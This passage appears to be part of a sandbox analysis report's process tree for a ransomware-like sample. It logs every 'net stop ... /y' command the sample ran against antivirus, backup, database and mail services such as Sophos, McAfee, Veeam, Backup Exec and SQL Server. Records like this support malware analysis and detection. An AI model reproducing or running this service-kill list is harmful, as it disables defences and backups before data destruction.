    PID:1324
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Sophos Safestore Service" /y
      4⤵
      PID:8816
- - C:\Windows\SysWOW64\net.exe
    net stop "Sophos System Protection Service" /y
    3⤵
    PID:3744
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Sophos System Protection Service" /y
      4⤵
      PID:12284
- - C:\Windows\SysWOW64\net.exe
    net stop "Sophos Web Control Service" /y
    3⤵
    PID:8904
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Sophos Web Control Service" /y
      4⤵
      PID:9268
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLsafe Backup Service" /y
    3⤵
    PID:6172
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLsafe Backup Service" /y
      4⤵
      PID:10128
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLsafe Filter Service" /y
    3⤵
    PID:7464
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLsafe Filter Service" /y
      4⤵
      PID:10860
- - C:\Windows\SysWOW64\net.exe
    net stop "Symantec System Recovery" /y
    3⤵
    PID:13788
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Symantec System Recovery" /y
      4⤵
      PID:11904
- - C:\Windows\SysWOW64\net.exe
    net stop "Veeam Backup Catalog Data Service" /y
    3⤵
    PID:14496
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Veeam Backup Catalog Data Service" /y
      4⤵
      PID:5180
- - C:\Windows\SysWOW64\net.exe
    net stop "AcronisAgent" /y
    3⤵
    PID:9900
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "AcronisAgent" /y
      4⤵
      PID:13232
- - C:\Windows\SysWOW64\net.exe
    net stop "AcrSch2Svc" /y
    3⤵
    PID:8524
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "AcrSch2Svc" /y
      4⤵
      PID:8900
- - C:\Windows\SysWOW64\net.exe
    net stop "Antivirus" /y
    3⤵
    PID:14580
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Antivirus" /y
      4⤵
      PID:12156
- - C:\Windows\SysWOW64\net.exe
    net stop "ARSM" /y
    3⤵
    PID:13464
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "ARSM" /y
      4⤵
      PID:14024
- - C:\Windows\SysWOW64\net.exe
    net stop "BackupExecAgentAccelerator" /y
    3⤵
    PID:14056
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "BackupExecAgentAccelerator" /y
      4⤵
      PID:11876
- - C:\Windows\SysWOW64\net.exe
    net stop "BackupExecAgentBrowser" /y
    3⤵
    PID:12064
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "BackupExecAgentBrowser" /y
      4⤵
      PID:12896
- - C:\Windows\SysWOW64\net.exe
    net stop "BackupExecDeviceMediaService" /y
    3⤵
    PID:6948
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "BackupExecDeviceMediaService" /y
      4⤵
      PID:11348
- - C:\Windows\SysWOW64\net.exe
    net stop "BackupExecJobEngine" /y
    3⤵
    PID:13420
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "BackupExecJobEngine" /y
      4⤵
      PID:12292
- - C:\Windows\SysWOW64\net.exe
    net stop "BackupExecManagementService" /y
    3⤵
    PID:2832
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "BackupExecManagementService" /y
      4⤵
      PID:6884
- - C:\Windows\SysWOW64\net.exe
    net stop "BackupExecRPCService" /y
    3⤵
    PID:12100
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "BackupExecRPCService" /y
      4⤵
      PID:4380
- - C:\Windows\SysWOW64\net.exe
    net stop "BackupExecVSSProvider" /y
    3⤵
    PID:8668
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "BackupExecVSSProvider" /y
      4⤵
      PID:10088
- - C:\Windows\SysWOW64\net.exe
    net stop "bedbg" /y
    3⤵
    PID:7656
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "bedbg" /y
      4⤵
      PID:3216
- - C:\Windows\SysWOW64\net.exe
    net stop "DCAgent" /y
    3⤵
    PID:7416
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "DCAgent" /y
      4⤵
      PID:12496
- - C:\Windows\SysWOW64\net.exe
    net stop "EPSecurityService" /y
    3⤵
    PID:9716
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "EPSecurityService" /y
      4⤵
      PID:6484
- - C:\Windows\SysWOW64\net.exe
    net stop "EPUpdateService" /y
    3⤵
    PID:7900
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "EPUpdateService" /y
      4⤵
      PID:9592
- - C:\Windows\SysWOW64\net.exe
    net stop "EraserSvc11710" /y
    3⤵
    PID:10772
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "EraserSvc11710" /y
      4⤵
      PID:6584
- - C:\Windows\SysWOW64\net.exe
    net stop "EsgShKernel" /y
    3⤵
    PID:9604
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "EsgShKernel" /y
      4⤵
      PID:12116
- - C:\Windows\SysWOW64\net.exe
    net stop "FA_Scheduler" /y
    3⤵
    PID:12732
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "FA_Scheduler" /y
      4⤵
      PID:14224
- - C:\Windows\SysWOW64\net.exe
    net stop "IISAdmin" /y
    3⤵
    PID:8172
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "IISAdmin" /y
      4⤵
      PID:10384
- - C:\Windows\SysWOW64\net.exe
    net stop "IMAP4Svc" /y
    3⤵
    PID:1912
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "IMAP4Svc" /y
      4⤵
      PID:10172
- - C:\Windows\SysWOW64\net.exe
    net stop "macmnsvc" /y
    3⤵
    PID:13580
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "macmnsvc" /y
      4⤵
      PID:3996
- - C:\Windows\SysWOW64\net.exe
    net stop "masvc" /y
    3⤵
    PID:4316
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "masvc" /y
      4⤵
      PID:5768
- - C:\Windows\SysWOW64\net.exe
    net stop "MBAMService" /y
    3⤵
    PID:6356
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MBAMService" /y
      4⤵
      PID:4020
- - C:\Windows\SysWOW64\net.exe
    net stop "MBEndpointAgent" /y
    3⤵
    PID:5812
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MBEndpointAgent" /y
      4⤵
      PID:10732
- - C:\Windows\SysWOW64\net.exe
    net stop "McAfeeEngineService" /y
    3⤵
    PID:12528
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "McAfeeEngineService" /y
      4⤵
      PID:14020
- - C:\Windows\SysWOW64\net.exe
    net stop "McAfeeFramework" /y
    3⤵
    PID:14904
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "McAfeeFramework" /y
      4⤵
      PID:7144
- - C:\Windows\SysWOW64\net.exe
    net stop "McAfeeFrameworkMcAfeeFramework" /y
    3⤵
    PID:14012
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "McAfeeFrameworkMcAfeeFramework" /y
      4⤵
      PID:10712
- - C:\Windows\SysWOW64\net.exe
    net stop "McShield" /y
    3⤵
    PID:14200
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "McShield" /y
      4⤵
      PID:15020
- - C:\Windows\SysWOW64\net.exe
    net stop "McTaskManager" /y
    3⤵
    PID:10864
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "McTaskManager" /y
      4⤵
      PID:9692
- - C:\Windows\SysWOW64\net.exe
    net stop "mfemms" /y
    3⤵
    PID:14892
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "mfemms" /y
      4⤵
      PID:10452
- - C:\Windows\SysWOW64\net.exe
    net stop "mfevtp" /y
    3⤵
    PID:2352
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "mfevtp" /y
      4⤵
      PID:14304
- - C:\Windows\SysWOW64\net.exe
    net stop "MMS" /y
    3⤵
    PID:14612
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MMS" /y
      4⤵
      PID:10480
- - C:\Windows\SysWOW64\net.exe
    net stop "mozyprobackup" /y
    3⤵
    PID:7536
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "mozyprobackup" /y
      4⤵
      PID:4680
- - C:\Windows\SysWOW64\net.exe
    net stop "MsDtsServer" /y
    3⤵
    PID:10048
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MsDtsServer" /y
      4⤵
      PID:12448
- - C:\Windows\SysWOW64\net.exe
    net stop "MsDtsServer100" /y
    3⤵
    PID:11468
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MsDtsServer100" /y
      4⤵
      PID:7000
- - C:\Windows\SysWOW64\net.exe
    net stop "MsDtsServer110" /y
    3⤵
    PID:4748
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MsDtsServer110" /y
      4⤵
      PID:8580
- - C:\Windows\SysWOW64\net.exe
    net stop "MSExchangeES" /y
    3⤵
    PID:14948
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSExchangeES" /y
      4⤵
      PID:7784
- - C:\Windows\SysWOW64\net.exe
    net stop "MSExchangeIS" /y
    3⤵
    PID:12844
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSExchangeIS" /y
      4⤵
      PID:9832
- - C:\Windows\SysWOW64\net.exe
    net stop "MSExchangeMGMT" /y
    3⤵
    PID:12720
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSExchangeMGMT" /y
      4⤵
      PID:10140
- - C:\Windows\SysWOW64\net.exe
    net stop "MSExchangeMTA" /y
    3⤵
    PID:2552
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSExchangeMTA" /y
      4⤵
      PID:15196
- - C:\Windows\SysWOW64\net.exe
    net stop "MSExchangeSA" /y
    3⤵
    PID:11720
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSExchangeSA" /y
      4⤵
      PID:6676
- - C:\Windows\SysWOW64\net.exe
    net stop "MSExchangeSRS" /y
    3⤵
    PID:6328
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSExchangeSRS" /y
      4⤵
      PID:13648
- - C:\Windows\SysWOW64\net.exe
    net stop "MSOLAP$SQL_2008" /y
    3⤵
    PID:14084
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSOLAP$SQL_2008" /y
      4⤵
      PID:5980
- - C:\Windows\SysWOW64\net.exe
    net stop "MSOLAP$SYSTEM_BGC" /y
    3⤵
    PID:6084
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSOLAP$SYSTEM_BGC" /y
      4⤵
      PID:5132
- - C:\Windows\SysWOW64\net.exe
    net stop "MSOLAP$TPS" /y
    3⤵
    PID:6008
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSOLAP$TPS" /y
      4⤵
      PID:1848
- - C:\Windows\SysWOW64\net.exe
    net stop "MSOLAP$TPSAMA" /y
    3⤵
    PID:8324
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSOLAP$TPSAMA" /y
      4⤵
      PID:6588
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$BKUPEXEC" /y
    3⤵
    PID:8084
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$BKUPEXEC" /y
      4⤵
      PID:11996
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$ECWDB2" /y
    3⤵
    PID:14320
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$ECWDB2" /y
      4⤵
      PID:3348
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$PRACTICEMGT" /y
    3⤵
    PID:11112
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$PRACTICEMGT" /y
      4⤵
      PID:10196
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$PRACTTICEBGC" /y
    3⤵
    PID:15016
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$PRACTTICEBGC" /y
      4⤵
      PID:14532
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$PROFXENGAGEMENT" /y
    3⤵
    PID:1484
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$PROFXENGAGEMENT" /y
      4⤵
      PID:7396
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$SBSMONITORING" /y
    3⤵
    PID:10664
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$SBSMONITORING" /y
      4⤵
      PID:14260
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$SHAREPOINT" /y
    3⤵
    PID:6312
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$SHAREPOINT" /y
      4⤵
      PID:11656
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$SQL_2008" /y
    3⤵
    PID:12192
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$SQL_2008" /y
      4⤵
      PID:5472
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$SYSTEM_BGC" /y
    3⤵
    PID:4840
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$SYSTEM_BGC" /y
      4⤵
      PID:5996
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$TPS" /y
    3⤵
    PID:6192
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$TPS" /y
      4⤵
      PID:5700
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$TPSAMA" /y
    3⤵
    PID:15028
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$TPSAMA" /y
      4⤵
      PID:12944
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$VEEAMSQL2008R2" /y
    3⤵
    PID:15316
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$VEEAMSQL2008R2" /y
      4⤵
      PID:11200
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$VEEAMSQL2012" /y
    3⤵
    PID:11940
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$VEEAMSQL2012" /y
      4⤵
      PID:10300
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQLFDLauncher" /y
    3⤵
    PID:10768
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQLFDLauncher" /y
      4⤵
      PID:13100
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQLFDLauncher$PROFXENGAGEMENT" /y
    3⤵
    PID:10880
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQLFDLauncher$PROFXENGAGEMENT" /y
      4⤵
      PID:12316
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQLFDLauncher$SBSMONITORING" /y
    3⤵
    PID:4772
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQLFDLauncher$SBSMONITORING" /y
      4⤵
      PID:5356
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQLFDLauncher$SHAREPOINT" /y
    3⤵
    PID:3412
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQLFDLauncher$SHAREPOINT" /y
      4⤵
      PID:7920
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQLFDLauncher$SQL_2008" /y
    3⤵
    PID:7044
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQLFDLauncher$SQL_2008" /y
      4⤵
      PID:8236
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQLFDLauncher$SYSTEM_BGC" /y
    3⤵
    PID:6968
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQLFDLauncher$SYSTEM_BGC" /y
      4⤵
      PID:3140
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQLFDLauncher$TPS" /y
    3⤵
    PID:2356
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQLFDLauncher$TPS" /y
      4⤵
      PID:12140
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQLFDLauncher$TPSAMA" /y
    3⤵
    PID:12892
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQLFDLauncher$TPSAMA" /y
      4⤵
      PID:3860
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQLSERVER" /y
    3⤵
    PID:10820
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQLSERVER" /y
      4⤵
      PID:12424
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQLServerADHelper100" /y
    3⤵
    PID:8672
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQLServerADHelper100" /y
      4⤵
      PID:8736
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQLServerOLAPService" /y
    3⤵
    PID:10320
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQLServerOLAPService" /y
      4⤵
      PID:2900
- - C:\Windows\SysWOW64\net.exe
    net stop "MySQL80" /y
    3⤵
    PID:11612
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MySQL80" /y
      4⤵
      PID:6944
- - C:\Windows\SysWOW64\net.exe
    net stop "MySQL57" /y
    3⤵
    PID:4236
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MySQL57" /y
      4⤵
      PID:10548
- - C:\Windows\SysWOW64\net.exe
    net stop "ntrtscan" /y
    3⤵
    PID:13340
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "ntrtscan" /y
      4⤵
      PID:10828
- - C:\Windows\SysWOW64\net.exe
    net stop "OracleClientCache80" /y
    3⤵
    PID:10924
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "OracleClientCache80" /y
      4⤵
      PID:15044
- - C:\Windows\SysWOW64\net.exe
    net stop "PDVFSService" /y
    3⤵
    PID:7860
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "PDVFSService" /y
      4⤵
      PID:12864
- - C:\Windows\SysWOW64\net.exe
    net stop "POP3Svc" /y
    3⤵
    PID:6640
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "POP3Svc" /y
      4⤵
      PID:6700
- - C:\Windows\SysWOW64\net.exe
    net stop "ReportServer" /y
    3⤵
    PID:8496
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "ReportServer" /y
      4⤵
      PID:15280
- - C:\Windows\SysWOW64\net.exe
    net stop "ReportServer$SQL_2008" /y
    3⤵
    PID:11676
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "ReportServer$SQL_2008" /y
      4⤵
      PID:7016
- - C:\Windows\SysWOW64\net.exe
    net stop "ReportServer$SYSTEM_BGC" /y
    3⤵
    PID:5760
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "ReportServer$SYSTEM_BGC" /y
      4⤵
      PID:9860
- - C:\Windows\SysWOW64\net.exe
    net stop "ReportServer$TPS" /y
    3⤵
    PID:14764
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "ReportServer$TPS" /y
      4⤵
      PID:3740
- - C:\Windows\SysWOW64\net.exe
    net stop "ReportServer$TPSAMA" /y
    3⤵
    PID:14596
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "ReportServer$TPSAMA" /y
      4⤵
      PID:14916
- - C:\Windows\SysWOW64\net.exe
    net stop "RESvc" /y
    3⤵
    PID:10492
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "RESvc" /y
      4⤵
      PID:7196
- - C:\Windows\SysWOW64\net.exe
    net stop "sacsvr" /y
    3⤵
    PID:1472
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "sacsvr" /y
      4⤵
      PID:8012
- - C:\Windows\SysWOW64\net.exe
    net stop "SamSs" /y
    3⤵
    PID:944
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SamSs" /y
      4⤵
      PID:8464
- - C:\Windows\SysWOW64\net.exe
    net stop "SAVAdminService" /y
    3⤵
    PID:14672
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SAVAdminService" /y
      4⤵
      PID:9284
- - C:\Windows\SysWOW64\net.exe
    net stop "SAVService" /y
    3⤵
    PID:11488
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SAVService" /y
      4⤵
      PID:4604
- - C:\Windows\SysWOW64\net.exe
    net stop "SDRSVC" /y
    3⤵
    PID:2684
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SDRSVC" /y
      4⤵
      PID:9848
- - C:\Windows\SysWOW64\net.exe
    net stop "SepMasterService" /y
    3⤵
    PID:10372
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SepMasterService" /y
      4⤵
      PID:10280
- - C:\Windows\SysWOW64\net.exe
    net stop "ShMonitor" /y
    3⤵
    PID:3712
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "ShMonitor" /y
      4⤵
      PID:3244
- - C:\Windows\SysWOW64\net.exe
    net stop "Smcinst" /y
    3⤵
    PID:7864
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Smcinst" /y
      4⤵
      PID:12852
- - C:\Windows\SysWOW64\net.exe
    net stop "SmcService" /y
    3⤵
    PID:13700
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SmcService" /y
      4⤵
      PID:2636
- - C:\Windows\SysWOW64\net.exe
    net stop "SMTPSvc" /y
    3⤵
    PID:9600
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SMTPSvc" /y
      4⤵
      PID:11608
- - C:\Windows\SysWOW64\net.exe
    net stop "SNAC" /y
    3⤵
    PID:10208
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SNAC" /y
      4⤵
      PID:7744
- - C:\Windows\SysWOW64\net.exe
    net stop "SntpService" /y
    3⤵
    PID:13060
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SntpService" /y
      4⤵
      PID:11060
- - C:\Windows\SysWOW64\net.exe
    net stop "sophossps" /y
    3⤵
    PID:10192
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "sophossps" /y
      4⤵
      PID:4568
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$BKUPEXEC" /y
    3⤵
    PID:1084
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$BKUPEXEC" /y
      4⤵
      PID:4288
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$ECWDB2" /y
    3⤵
    PID:3012
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$ECWDB2" /y
      4⤵
      PID:11212
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$PRACTTICEBGC" /y
    3⤵
    PID:13872
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$PRACTTICEBGC" /y
      4⤵
      PID:12544
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$PRACTTICEMGT" /y
    3⤵
    PID:10632
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$PRACTTICEMGT" /y
      4⤵
      PID:8692
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$PROFXENGAGEMENT" /y
    3⤵
    PID:7400
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$PROFXENGAGEMENT" /y
      4⤵
      PID:5492
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$SBSMONITORING" /y
    3⤵
    PID:14804
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$SBSMONITORING" /y
      4⤵
      PID:7852
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$SHAREPOINT" /y
    3⤵
    PID:13380
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$SHAREPOINT" /y
      4⤵
      PID:10688
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$SQL_2008" /y
    3⤵
    PID:5936
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$SQL_2008" /y
      4⤵
      PID:12060
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$SYSTEM_BGC" /y
    3⤵
    PID:8044
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$SYSTEM_BGC" /y
      4⤵
      PID:2520
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$TPS" /y
    3⤵
    PID:13116
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$TPS" /y
      4⤵
      PID:10160
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$TPSAMA" /y
    3⤵
    PID:10780
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$TPSAMA" /y
      4⤵
      PID:3952
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$VEEAMSQL2008R2" /y
    3⤵
    PID:8368
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$VEEAMSQL2008R2" /y
      4⤵
      PID:10576
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLAgent$VEEAMSQL2012" /y
    3⤵
    PID:7476
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$VEEAMSQL2012" /y
      4⤵
      PID:2184
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLBrowser" /y
    3⤵
    PID:5416
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLBrowser" /y
      4⤵
      PID:10336
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLSafeOLRService" /y
    3⤵
    PID:10164
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLSafeOLRService" /y
      4⤵
      PID:9572
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLSERVERAGENT" /y
    3⤵
    PID:912
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLSERVERAGENT" /y
      4⤵
      PID:12336
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLTELEMETRY" /y
    3⤵
    PID:9944
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLTELEMETRY" /y
      4⤵
      PID:12800
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLTELEMETRY$ECWDB2" /y
    3⤵
    PID:2984
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLTELEMETRY$ECWDB2" /y
      4⤵
      PID:14164
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLWriter" /y
    3⤵
    PID:12788
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLWriter" /y
      4⤵
      PID:10020
- - C:\Windows\SysWOW64\net.exe
    net stop "SstpSvc" /y
    3⤵
    PID:6508
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SstpSvc" /y
      4⤵
      PID:15180
- - C:\Windows\SysWOW64\net.exe
    net stop "svcGenericHost" /y
    3⤵
    PID:12404
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "svcGenericHost" /y
      4⤵
      PID:12532
- - C:\Windows\SysWOW64\net.exe
    net stop "swi_filter" /y
    3⤵
    PID:7012
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "swi_filter" /y
      4⤵
      PID:4816
- - C:\Windows\SysWOW64\net.exe
    net stop "swi_service" /y
    3⤵
    PID:4240
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "swi_service" /y
      4⤵
      PID:14004
- - C:\Windows\SysWOW64\net.exe
